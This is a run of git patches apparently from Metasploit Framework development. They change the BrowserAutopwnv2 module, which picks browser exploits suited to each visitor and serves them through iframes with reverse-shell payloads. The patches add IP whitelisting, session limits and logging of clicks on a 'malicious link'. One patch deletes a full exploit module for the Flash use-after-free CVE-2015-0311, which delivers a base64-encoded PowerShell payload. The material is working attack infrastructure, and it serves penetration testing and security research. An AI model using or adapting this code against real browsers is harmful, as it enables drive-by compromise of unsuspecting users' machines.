2015 16:27:18 -0500 Subject: [PATCH 041/150] Do global requirement comparison in BAP --- lib/msf/core/exploit/browserautopwnv2.rb | 28 +++++++++++++++++++++-- modules/exploits/multi/browser/autopwn.rb | 5 +++- 2 files changed, 30 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index fb00f10982..1fa10b5ea8 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -488,14 +488,38 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [Array] def get_suitable_exploits(cli, request) - current_exploit_list = bap_exploits.dup + current_exploit_list = [] tag = retrieve_tag(cli, request) profile_info = get_profile_info(tag) - #$stderr.puts profile_info.inspect + bap_exploits.each do |m| + if m.get_bad_requirements(profile_info).empty? + current_exploit_list << m + end + end + + if datastore['RealList'] + show_real_list(cli.peerhost, tag, current_exploit_list) + end + current_exploit_list end + def show_real_list(ip, tag, current_exploit_list) + order = 1 + table = Rex::Ui::Text::Table.new( + 'Header' => '', + 'Indent' => 1, + 'Columns' => ['Order', 'IP', 'Exploit'] + ) + current_exploit_list.each do |m| + table << [order, ip, m.shortname] + order += 1 + end + print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") + end + + # Returns a list of exploit URLs. # # @param cli [Socket] Socket for the browser diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index a3b666a4dc..f0ab961770 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -25,11 +25,12 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0)) + register_advanced_options(get_advanced_options, self.class) register_options( [ - OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']), + OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection'], 'WebServer']), OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), @@ -56,6 +57,8 @@ class Metasploit3 < Msf::Exploit::Remote opts << OptInt.new("PAYLOAD_#{platform.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info['lport']]) end + opts << OptBool.new("RealList", [true, "Show which exploits will actually be served to each client", false]) + opts end From fbbd25f4bc0558916904044308d5949bb190dd8a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 18 May 2015 17:56:17 -0500 Subject: [PATCH 042/150] I never use this thing --- lib/msf/core/exploit/browserautopwnv2.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 1fa10b5ea8..c8aa26e917 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -1,6 +1,8 @@ ### # -# The Msf::Exploit::Remote::BrowserAutopwnv2 mixin is a replacement for the current BrowserAutoPwn +# The Msf::Exploit::Remote::BrowserAutopwnv2 mixin is a replacement for the current BrowserAutoPwn. +# It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based +# exploits to perform a faster and smarter automated client-side attack. # ### @@ -9,9 +11,6 @@ require 'Date' module Msf module Exploit::Remote::BrowserAutopwnv2 - # Exception specific for Msf::Exploit::Remote::BrowserAutopwnv2 - class BAPv2Exception < RuntimeError; end - include Msf::Exploit::Remote::BrowserExploitServer # @return [Array] A list of initialized BAP exploits From 46f389fecde0eb8546ec39e667f89babef12f2d0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 18 May 2015 18:41:37 -0500 Subject: [PATCH 043/150] Documentation --- lib/msf/core/exploit/browserautopwnv2.rb | 87 +++++++++++++++++------- 1 file changed, 61 insertions(+), 26 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index c8aa26e917..cb9037274e 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -22,7 +22,7 @@ module Msf # The default platform-specific payloads and preferred LPORTS. # The hash key is the name of the platform that matches what's on the module. - # The loader order is specific. + # The loader order is specific while starting them up. DEFAULT_PAYLOADS = { 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, @@ -35,7 +35,7 @@ module Msf # Returns all the found exploit modules that support BrowserExploitServer by going through all - # the exploits from the framework object. + # the exploits from the framework object. All the usable exploits will be stored in #bap_exploits. # # @return [void] def init_exploits @@ -60,9 +60,12 @@ module Msf end - # Returns a note type that's unique to this BAP. + # Returns a note type that's unique to this BAP (based on a timestamp). # This overrides Msf::Exploit::Remote::BrowserProfileManager#note_type_prefix so that BAP - # and all of its child exploits can share target information with each other. + # and all of its child exploits can share target information with each other. If BAP is active + # but there are other standalone BES exploits running, this allows them not to use (or cleanup) + # each other's data. Also, once requested, the method will not generate another note type prefix + # again, it will just return whatever's been stored in the @note_type_prefix instance variable. # # @return [String] def note_type_prefix @@ -70,7 +73,8 @@ module Msf end - # Removes target information owned by this BAP. + # Removes target information from the framework database owned by this BAP. + # If the user is not connected to the database, then no cleanup action. # # @return [void] def rm_target_info_notes @@ -83,18 +87,20 @@ module Msf end - # Removes jobs (exploits and payload handlers) that belong to BAP. + # Removes background jobs (exploits and payload handlers) that belong to BAP. # # @return [void] def rm_jobs module_job_ids.each do |id| - framework.jobs.stop_job(id) if framework.jobs[id.to_s] + framework.jobs.stop_job(id) if framework.jobs[id.to_s] end end - # Cleans up everything. + # Cleans up everything such as notes and jobs. # + # @see #rm_jobs The method for cleaning up jobs. + # @see #rm_target_info_notes The method for removing target information (found in db notes). # @return [void] def cleanup rm_target_info_notes @@ -102,7 +108,8 @@ module Msf end - # Modifies an exploit's default datastore options. + # Modifies an exploit's default datastore options. Some of them are user-configurable, + # some must be defined by BAP. # # @return [void] def set_exploit_options(xploit) @@ -160,12 +167,18 @@ module Msf # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. + # This method is part of what makes BAP smarter. However, the list rearranged by this exploit + # will not actually be the same exploit list served to every client. When a client a request, + # #get_suitable_exploits will generate another list that will actually be used by the client + # by going through what we have here, and filter out all the exploit modules that don't match + # the target's requirements. # # @see #bap_exploits The read-only attribute. # @see #sort_date_in_group The method for sorting by disclosure date # @see #sort_group_by_rank The method for sorting by rank # @see #sort_bap_modules The method for breaking the module list into groups # @see #finalize_sorted_modules The method for finalizing bap_exploits + # @see #get_suitable_exploits # @return [void] def sort_bap_exploits bap_groups = group_bap_modules @@ -177,7 +190,7 @@ module Msf # Sorts a grouped module list by disclosure date. # - # @param [Hash] A grouped module list. + # @param [Hash] bap_groups A grouped module list. # @return [Hash] A hash with each module list sorted by disclosure date. def sort_date_in_group(bap_groups) bap_groups.each_pair do |ranking, module_list| @@ -188,7 +201,7 @@ module Msf # Sorts a module list by ranking. # - # @param [Hash] A grouped module list. + # @param [Hash] bap_groups A grouped module list. # @return [Hash] A hash grouped by ranking. def sort_group_by_rank(bap_groups) Hash[bap_groups.sort_by {|k,v| k}.reverse] @@ -197,6 +210,7 @@ module Msf # Breaks @bap_exploits into groups for sorting purposes. # + # @see #bap_exploits # @return [Hash] A module list grouped by rank. def group_bap_modules bap_groups = {} @@ -214,7 +228,7 @@ module Msf # Modifies @bap_exploit by replacing it with the rearranged module list. # # @see #bap_exploits The read-only attribute. - # @param [Hash] A grouped module list. + # @param [Hash] bap_groups A grouped module list. # @return [void] def finalize_sorted_modules(bap_groups) @bap_exploits = [] @@ -227,11 +241,13 @@ module Msf end - # Verifies with current active modules and see if the payload is wanted. + # Verifies with current active modules and see if the payload is wanted. For example: if only + # Windows exploits are being loaded, then there's no point to load payload handlers for Java, + # Linux and other ones. # # @param [String] payload_name The payload module path (name). - # @return [TrueClass] - # @return [FalseClass] + # @return [TrueClass] Payload is wanted. + # @return [FalseClass] Payload is not wanted. def is_payload_handler_wanted?(payload_name) bap_exploits.each do |m| return true if m.datastore['PAYLOAD'] == payload_name @@ -243,8 +259,9 @@ module Msf # Returns a payload name. Either this will be the user's choice, or falls back to a default one. # - # @param [String] platform - # @return [String] + # @see DEFAULT_PAYLOADS The default settings. + # @param [String] platform Platform name. + # @return [String] Payload name. def get_selected_payload_name(platform) payload_name = datastore["PAYLOAD_#{platform.upcase}"] @@ -270,7 +287,8 @@ module Msf end - # Returns the selected payload's LHOST. + # Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option), + # then the method automatically generates one by Rex. # # @return [String] def get_payload_lhost @@ -278,8 +296,11 @@ module Msf end - # Creates payload listeners. + # Creates payload listeners. The active job IDs will be tracked in #module_job_ids so that + # we know how to find them and then clean them up. # + # @note FireFox payload is skipped because there's no handler for it. + # @see #module_job_ids # @return [void] def start_payload_listeners DEFAULT_PAYLOADS.each_pair do |platform, listener_info| @@ -331,7 +352,7 @@ module Msf # Returns the selected payload. # - # @param [Object] A module that's been initialized. + # @param [Object] m A module that's been initialized. # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' def select_payload(m) selected_payload = DEFAULT_PAYLOADS['generic'] @@ -390,7 +411,8 @@ module Msf end - # Prints all the exploits that BAP will consider using. + # Prints all the exploits that BAP will consider using. But this isn't the actual list of + # exploits that BAP will use for each target. # # @return [void] def show_ready_exploits @@ -480,8 +502,14 @@ module Msf end - # Returns a list of suitable exploits for the current client. It will do a global exploitable - # requirement check. + # Returns a list of suitable exploits for the current client based on what #sort_bap_exploits + # gives us. It will do a global exploitable requirement check (the best it can do). There's + # actually a target-specific exploitable requirement check too, but that is performed in + # BrowserExploitServer while the exploit is being served. In other words, it is possible + # #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the + # exploit dev accurately defines his/her global requirements), but the exploit always has a + # choice to bail at the last second if it decides it is actually not suitable for the client. + # That way we don't risk being too wreckless with our attack. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser @@ -504,6 +532,11 @@ module Msf end + # Prints a list of suitable exploits for the current list. + # + # @see #sort_bap_exploits Explains how the exploit list is generated at first. + # @see #get_suitable_exploits Explains how we serve exploits to each client. + # @return [void] def show_real_list(ip, tag, current_exploit_list) order = 1 table = Rex::Ui::Text::Table.new( @@ -519,8 +552,10 @@ module Msf end - # Returns a list of exploit URLs. + # Returns a list of exploit URLs. This is used by #build_html so the client can load our + # exploits one by one. # + # @see #build_html # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [Array] @@ -542,11 +577,11 @@ module Msf end - # Returns the HTML that the client will get. + # Returns the HTML that serves our exploits. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser - # @return [String] + # @return [String] HTML def build_html(cli, request) js = %Q| var currentIndex = 0; From 6e8ee2f3baa2367ff31165591c30afc5ca6b4467 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 21 May 2015 00:05:14 -0500 Subject: [PATCH 044/150] Add whitelist feature --- lib/msf/core/exploit/browserautopwnv2.rb | 19 +++++++++++++++++++ modules/exploits/multi/browser/autopwn.rb | 3 ++- 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index cb9037274e..f41e940b74 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -394,6 +394,8 @@ module Msf super @bap_exploits = [] @module_job_ids = [] + # #split might be expensive if the file is really big + @whitelist = datastore['Whitelist'] ? datastore['Whitelist'].split : nil print_status("Searching BES exploits, please wait...") init_exploits @@ -577,6 +579,23 @@ module Msf end + def on_request_uri(cli, request) + if @whitelist && !is_ip_targeted?(cli.peerhost) + print_status("Client is trying to connect but not on our whitelist.") + send_not_found(cli) + return + end + + super + end + + + def is_ip_targeted?(cli_ip) + return unless @whitelist + @whitelist.include?(cli_ip) + end + + # Returns the HTML that serves our exploits. # # @param cli [Socket] Socket for the browser diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index f0ab961770..26e79ddd4b 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -34,7 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), - OptString.new('Content', [false, 'HTML Content', '']) + OptString.new('Content', [false, 'HTML Content', '']), + OptAddressRange.new('Whitelist', [false, "A range of IPs you're interested in attacking"]) ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') From 31c60b48c8f5c9cde22a39da5143ae93decfbe58 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 21 May 2015 00:08:04 -0500 Subject: [PATCH 045/150] Don't forget to doc --- lib/msf/core/exploit/browserautopwnv2.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index f41e940b74..4717bc93b5 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -579,6 +579,11 @@ module Msf end + # Handles client requests specific for BAP. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [void] def on_request_uri(cli, request) if @whitelist && !is_ip_targeted?(cli.peerhost) print_status("Client is trying to connect but not on our whitelist.") @@ -590,6 +595,11 @@ module Msf end + # Returns true if the IP is on our whitelist. + # + # @param [String] cli_ip Client's IP. + # @return [TrueClass] The IP is on the whitelist. + # @return [FalseClass] The IP is not on the whitelist. def is_ip_targeted?(cli_ip) return unless @whitelist @whitelist.include?(cli_ip) From 3ee02d3626f15fe3d53c97fbaf2a8c66cccea3b8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 21 May 2015 00:36:40 -0500 Subject: [PATCH 046/150] Hmm bug --- lib/msf/core/exploit/browserautopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 4717bc93b5..174a92cdfc 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -601,7 +601,7 @@ module Msf # @return [TrueClass] The IP is on the whitelist. # @return [FalseClass] The IP is not on the whitelist. def is_ip_targeted?(cli_ip) - return unless @whitelist + return true unless @whitelist @whitelist.include?(cli_ip) end From 2bb6f390c0b8065e14c26df7692317661219b61e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 12:22:41 -0500 Subject: [PATCH 047/150] Add session limiter and fix a race bug in notes removal --- lib/msf/core/exploit/browserautopwnv2.rb | 91 ++++++++++++++++++----- modules/exploits/multi/browser/autopwn.rb | 7 +- 2 files changed, 76 insertions(+), 22 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 174a92cdfc..c31f8ea702 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -16,8 +16,11 @@ module Msf # @return [Array] A list of initialized BAP exploits attr_reader :bap_exploits - # @return [Array] A list of module job IDs - attr_reader :module_job_ids + # @return [Array] A list of exploit job IDs + attr_reader :exploit_job_ids + + # @return [Array] A list of payload job IDs + attr_reader :payload_job_ids # The default platform-specific payloads and preferred LPORTS. @@ -79,19 +82,44 @@ module Msf # @return [void] def rm_target_info_notes return unless framework.db.active - ::ActiveRecord::Base.connection_pool.with_connection { - framework.db.notes.each do |note| - note.destroy if note.ntype.include?(note_type_prefix) + retries = 0 + begin + ::ActiveRecord::Base.connection_pool.with_connection { + framework.db.notes.each do |note| + note.destroy if note.ntype.include?(note_type_prefix) + end + } + rescue NameError => e + # Very rarely, framework.db.notes triggers uninitialized constant Mdm::Workspace::Mdm::Note. + # Not sure why, it's been really difficult to reproduce. But the uninitialized constant error + # is raised by the compute_type method in inheritance.rb from active_record, so we'll just + # rescue that and retry a couple of times. + if retries < 10 + retry + else + print_error("Unable to properly cleanup notes. Try doing it manually: notes -d") + elog("(BAP notes cleanup) #{e.class} #{e.message}\n#{e.backtrace * "\n"}") end - } + retries += 1 + end end - # Removes background jobs (exploits and payload handlers) that belong to BAP. + # Removes background exploit jobs that belong to BAP. # # @return [void] - def rm_jobs - module_job_ids.each do |id| + def rm_exploit_jobs + exploit_job_ids.each do |id| + framework.jobs.stop_job(id) if framework.jobs[id.to_s] + end + end + + + # Removes background payload jobs that belong to BAP. + # + # @return [void] + def rm_payload_jobs + payload_job_ids.each do |id| framework.jobs.stop_job(id) if framework.jobs[id.to_s] end end @@ -99,12 +127,13 @@ module Msf # Cleans up everything such as notes and jobs. # - # @see #rm_jobs The method for cleaning up jobs. + # @see #rm_exploit_jobs The method for cleaning up jobs. # @see #rm_target_info_notes The method for removing target information (found in db notes). # @return [void] def cleanup rm_target_info_notes - rm_jobs + rm_exploit_jobs + rm_payload_jobs end @@ -296,13 +325,15 @@ module Msf end - # Creates payload listeners. The active job IDs will be tracked in #module_job_ids so that + # Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that # we know how to find them and then clean them up. # # @note FireFox payload is skipped because there's no handler for it. - # @see #module_job_ids + # @see #payload_job_ids # @return [void] def start_payload_listeners + return if datastore['MaxSessions'] == 0 + DEFAULT_PAYLOADS.each_pair do |platform, listener_info| # Exploit failed: firefox/shell_reverse_tcp is not a compatible payload next if listener_info['payload'] == 'firefox/shell_reverse_tcp' @@ -336,7 +367,7 @@ module Msf 'Payload' => listener_info['payload'], 'RunAsJob' => true ) - @module_job_ids << multi_handler.job_id + @payload_job_ids << multi_handler.job_id end end @@ -379,7 +410,7 @@ module Msf 'Payload' => m.datastore['PAYLOAD'], 'RunAsJob' => true ) - @module_job_ids << m.job_id + @exploit_job_ids << m.job_id end end @@ -392,8 +423,10 @@ module Msf self.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 self.datastore['DisablePayloadHandler'] = true super - @bap_exploits = [] - @module_job_ids = [] + @bap_exploits = [] + @exploit_job_ids = [] + @payload_job_ids = [] + # #split might be expensive if the file is really big @whitelist = datastore['Whitelist'] ? datastore['Whitelist'].split : nil @@ -585,6 +618,7 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [void] def on_request_uri(cli, request) + # Check if target is on our whitelist if @whitelist && !is_ip_targeted?(cli.peerhost) print_status("Client is trying to connect but not on our whitelist.") send_not_found(cli) @@ -606,15 +640,36 @@ module Msf end + # Returns a number of sessions obtained by BAP's payload handlers. + # + # @return [Fixnum] A session count. + def session_count + total = 0 + + payload_job_ids.each do |id| + total += framework.jobs[id.to_s].ctx.first.session_count + end + + total + end + + # Returns the HTML that serves our exploits. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [String] HTML def build_html(cli, request) + exploit_list = get_exploit_urls(cli, request) + + if datastore['MaxSessions'] > -1 && session_count >= datastore['MaxSessions'] + print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessions']}") + return datastore['Content'] + end + js = %Q| var currentIndex = 0; - var exploitList = [#{get_exploit_urls(cli, request).map! {|e| "'#{e}'"} * ", "}]; + var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}]; window.onload = function() { var e = document.createElement("iframe"); diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 26e79ddd4b..343e544415 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -35,7 +35,9 @@ class Metasploit3 < Msf::Exploit::Remote OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), OptString.new('Content', [false, 'HTML Content', '']), - OptAddressRange.new('Whitelist', [false, "A range of IPs you're interested in attacking"]) + OptAddressRange.new('Whitelist', [false, "A range of IPs you're interested in attacking"]), + OptInt.new('MaxSessions', [false, 'Number of sessions to get', -1]), + OptBool.new("RealList", [true, "Show which exploits will actually be served to each client", false]) ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') @@ -58,14 +60,11 @@ class Metasploit3 < Msf::Exploit::Remote opts << OptInt.new("PAYLOAD_#{platform.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info['lport']]) end - opts << OptBool.new("RealList", [true, "Show which exploits will actually be served to each client", false]) - opts end def on_request_exploit(cli, request, target_info) serve = build_html(cli, request) - print_status("Serving exploits...") send_exploit_html(cli, serve) end From e8a32bdd10f8457f2dc4b132b7ebc5ff1d39a487 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 12:40:56 -0500 Subject: [PATCH 048/150] Make MaxSessions/RealList/Custom404 work better --- lib/msf/core/exploit/browserautopwnv2.rb | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index c31f8ea702..defa451fd0 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -583,7 +583,12 @@ module Msf table << [order, ip, m.shortname] order += 1 end - print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") + + if table.rows.empty? + print_status("No exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") + else + print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") + end end @@ -654,6 +659,14 @@ module Msf end + # Returns the custom 404 URL set by the user + # + # @return [String] + def get_custom_404_url + datastore['Custom404'].to_s + end + + # Returns the HTML that serves our exploits. # # @param cli [Socket] Socket for the browser @@ -664,7 +677,12 @@ module Msf if datastore['MaxSessions'] > -1 && session_count >= datastore['MaxSessions'] print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessions']}") - return datastore['Content'] + if datastore['Content'].blank? + send_not_found(cli) + return '' + else + return datastore['Content'] + end end js = %Q| From 905fe73d78a0c237460aa63ec3dd42b96e6c5380 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 12:57:06 -0500 Subject: [PATCH 049/150] Track clicks --- lib/msf/core/exploit/browserautopwnv2.rb | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index defa451fd0..24af9ab4c3 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -567,6 +567,22 @@ module Msf end + # Logs the actual exploit list (for the client) to our database. The data will be saved + # in csv format. + # + # @param [String] ip The target's IP address. + # @param [Rex::Ui::Text::Table] table Rex table that contains the exploit list. + # @return [void] + def log_real_list(ip, table) + csv_data = table.rows.empty? ? '' : table.to_csv + report_note( + :host => ip, + :type => 'bap.exploitlist', + :data => csv_data, + :update => :unique_data) + end + + # Prints a list of suitable exploits for the current list. # # @see #sort_bap_exploits Explains how the exploit list is generated at first. @@ -584,8 +600,10 @@ module Msf order += 1 end + log_real_list(cli.peerhost, table) + if table.rows.empty? - print_status("No exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") + print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.") else print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") end From 8fd468a89f5176c8f1ee0952867506582c35df0f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 13:07:30 -0500 Subject: [PATCH 050/150] Get the dry-run feature right this time --- lib/msf/core/exploit/browserautopwnv2.rb | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 24af9ab4c3..20bfbed003 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -567,19 +567,17 @@ module Msf end - # Logs the actual exploit list (for the client) to our database. The data will be saved - # in csv format. + # Logs a click that includes the suitable exploit list. # # @param [String] ip The target's IP address. - # @param [Rex::Ui::Text::Table] table Rex table that contains the exploit list. + # @param [String] data (Optioal) CSV data that contains the exploit list. # @return [void] - def log_real_list(ip, table) - csv_data = table.rows.empty? ? '' : table.to_csv + def log_click(ip, data='') report_note( :host => ip, - :type => 'bap.exploitlist', - :data => csv_data, - :update => :unique_data) + :type => 'bap.clicks', + :data => data, + :update => :unique) end @@ -600,11 +598,11 @@ module Msf order += 1 end - log_real_list(cli.peerhost, table) - if table.rows.empty? print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.") else + # Update the exploit list data + log_click(cli.peerhost, table.to_csv) print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") end end @@ -648,6 +646,8 @@ module Msf return end + log_click(cli.peerhost) + super end From 9600f6a30a201d2db348cc93029a3246aec47c87 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 17:14:08 -0500 Subject: [PATCH 051/150] rm deprecated exploit --- .../adobe_flash_uncompress_zlib_uaf.rb | 110 ------------------ 1 file changed, 110 deletions(-) delete mode 100644 modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uaf.rb diff --git a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uaf.rb deleted file mode 100644 index 38828c2239..0000000000 --- a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uaf.rb +++ /dev/null @@ -1,110 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::Powershell - include Msf::Exploit::Remote::BrowserExploitServer - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 7, 21), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf') - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free', - 'Description' => %q{ - This module exploits an use after free vulnerability in Adobe Flash Player. The - vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying - to uncompress() a malformed byte stream. This module has been tested successfully - on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and - 16.0.0.235. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Unknown', # Vulnerability discovery and exploit in the wild - 'hdarwin', # Public exploit by @hdarwin89 - 'juan vazquez' # msf module - ], - 'References' => - [ - ['CVE', '2015-0311'], - ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'], - ['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'], - ['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/'] - ], - 'Payload' => - { - 'DisableNops' => true - }, - 'Platform' => 'win', - 'BrowserRequirements' => - { - :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS_7, - :ua_name => Msf::HttpClients::IE, - :flash => lambda { |ver| ver =~ /^16\./ && ver <= '16.0.0.287' }, - :arch => ARCH_X86 - }, - 'Targets' => - [ - [ 'Automatic', {} ] - ], - 'Privileged' => false, - 'DisclosureDate' => 'Apr 28 2014', - 'DefaultTarget' => 0)) - end - - def exploit - @swf = create_swf - super - end - - def on_request_exploit(cli, request, target_info) - print_status("Request: #{request.uri}") - - if request.uri =~ /\.swf$/ - print_status('Sending SWF...') - send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) - return - end - - print_status('Sending HTML...') - send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) - end - - def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" - target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) - - html_template = %Q| - - - - - - - - - - - | - - return html_template, binding() - end - - def create_swf - path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf') - swf = ::File.open(path, 'rb') { |f| swf = f.read } - - swf - end - -end From 916b7b83bee75f7315c42e6a373de105dbacac60 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 20:35:43 -0500 Subject: [PATCH 052/150] Change how we load payload handlers --- lib/msf/core/exploit/browserautopwnv2.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git 